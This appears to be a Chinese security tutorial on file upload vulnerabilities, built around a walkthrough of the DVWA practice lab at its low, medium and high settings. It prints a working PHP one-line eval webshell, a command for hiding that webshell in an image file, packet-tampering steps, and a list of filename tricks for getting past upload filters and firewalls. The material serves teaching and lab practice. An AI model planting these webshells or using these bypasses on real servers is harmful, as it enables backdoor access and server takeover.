目录
文件上传漏洞
文件上传基础知识
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,有时候几乎没有什么技术门槛。 在互联网中,我们经常用到文件上传功能,比如上传一张自定义的图片;分享一段视频或者照片;论坛发帖时附带一个附件;在发送邮件时附带附件,等等。文件上传功能本身是一个正常业务需求,对于网站来说,很多时候也确实需要用户将文件上传到服务器。 所以“文件上传”本身没有问题,但有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。
文件上传能干些什么
文件上传后导致的常见安全问题一般有: 上传文件是 Web 脚本语言,服务器的 Web 容器解释并执行了用户上传的脚本,导致代码执行;(webshell) 上传文件是Flash的策略文件 crossdomain.xml,黑客用以控制 Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似); 上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行; 上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。
文件上传漏洞的利用条件
在大多数情况下,文件上传漏洞一般都是指“上传 Web 脚本能够被服务器解析”的问题也就是通常所说的 webshell 的问题。要完成这个攻击,要满足如下几个条件: 首先,上传的文件能够被 Web 服务器解释执行。所以文件上传后所在的目录要是 Web 容器所覆盖到的路径。 其次,用户能够从 Web 上访问这个文件。如果文件上传了,但用户无法通过 Web 访问或者无法使得 Web容器解释这个脚本,那么也不能称之为漏洞。 最后,用户上传的文件若被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。
Apache解析问题
比如在Apache 1.x、2x 中,对文件名的解析就存在以下特性。 Apache 对于文件名的解析是从后往前解析的,直到遇见一个 Apache 认识的文件类型为止比如: Phpshell.php.rar.rar.rar.rar.rar 因为Apache 不认识.rar 这个文件类型,所以会一直遍历后缀到 php,然后认为这是一个PHP类型的文件。 那么 Apache 怎么知道哪些文件是它所认识的呢?这些文件类型定义在 Apache 的mime.types 文件中。
IIS解析问题
IIS6在处理文件解析时,也出过一些漏洞。 包括常用的 0x00 字符截断文件名,在IIS和Windows环境下曾经出过非常类似的漏洞,不过截断字符变成了分号“;” 当文件名为 abc.asp;xxjpg 时,IIS 6会将此文件解析为 abc.asp,文件名被截断了,从而导致脚本被执行。比如: http://www.target.com/path/xyz.asp;abc.jpg,会执行 xyz.asp,而不会管 abc.jpg
webshell
webshell 就是以网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。 顾名思义,web的含义是显然需要服务器开放web服务,shell的含义是取得对服务器某种程度上操作权限。webshell 常常被称为入侵者通过网站端口对网站服务器的某种程度上操作的权限。 由于 webshell 其大多是以动态脚本的形式出现,也有人称之为网站的后门工具。一句话木马、小马、大马都可以叫 webshell。
一句话木马
<?php @eval($_POST['变量']);?> 比如: <?php @eval($_POST['shell']);?> <?php @eval($_POST['cmd']);?> ..... 这是php的一句话后门中最普遍的一种。它的工作原理是: 首先存在一个名为shell的变量,shell的取值为HTTP的POST方式。Web服务器对shell取值以后,然后通过eval()函数执行shell里面的内容。 注意:eval因为是一个语言构造器而不是一个函数,不能被可变函数调用。 1)PHP eval() 把字符串按照 PHP 代码来计算。 2)该字符串必须是合法的 PHP 代码,且必须以分号结尾。 3)如果没有在代码字符串中调用return语句,则返回NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
文件上传漏洞检测
1.常规类 扫描获取上传,会员中心头像上传,后台系统上传,其他途径上传。 2.cms类 已知道的cms源码。 3.编辑类 ckeditor,fckeditor,kindeditor,xxeditor。 4.其他类/CVE 代码审计,平台或第三方应用。
靶场练习
靶场:DVWA
工具:中国蚁剑
LOW模式:
正常上传文件:
验证:
查看源码:
服务器对上传的文件没有做任何的过滤,生成路径后,服务器会检测是否上传成功,并返回相应的提示信息
直接上传php文件,php文件内容为一句话木马
验证:
使用中国蚁剑进行连接:
拿到权限可以对文件以及目录进行删除,增加,修改等一系列的操作(恶意操作)
Medium模式:
查看源码:
我们将php文件修改后缀,修改成png类型,正常上传,然后抓包,修改数据包
抓包数据:
验证:
通过中国蚁剑进行连接:
方式二: 正常上传php文件 抓包拦截,修改上传的文件类型 放包,即可 绕过
成功上传:
验证方式同以上一致,蚁剑也可正常连接,拿到权限
High模式:
高难度下,以上的方式都无法正常的上传
查看源码:
通过观察发现,我们可以有三种绕过的方式: 和文件包含漏洞结合使用 方式一:在图片的16进制码中,插入一句话木马,然后再上传图片 方式二:正常上传图片,抓取数据包,直接在数据包中的图片16进制码中末尾处追加一句话木马 方式三:制作一个图片马,然后上传图片马。 图片马制作:copy 1.png/b + 2.php/a cmd.jpg 1.png为正常的图片 2.php文件内容为一句话木马 最后的cmd.jpg为生成的图片马
方式一和方式二类似,以方式二为例:
正常的上传图片文件,抓包获取数据,修改数据包的内容,将木马追加到图片的末尾:
放包即可:
接下来利用文件包含来包含这个图片文件
文件包含中解析了php语句
对应的文件目录下以创建了木马文件,我们可以直接访问,并使用蚁剑进行连接
直接在目录下访问刚刚解析出来创建好的文件:输入一条php语句,验证一下
验证以及使用中国蚁剑进行连接获取服务器权限,同以上的两种模式一致
成功拿到权限
总结: 文件上传漏洞防火墙常用的绕过方法: 空格等特殊字符绕过: 例如:1.php空格 1.php%00 可以通fuzz方法去尝试 构造无效包(boundary边界不一致绕过) 构造长文件名绕过:1....................很长..................php 大小写绕过:1.php 1.PHp等 引号绕过: filename=”1.php”; filename=”1.php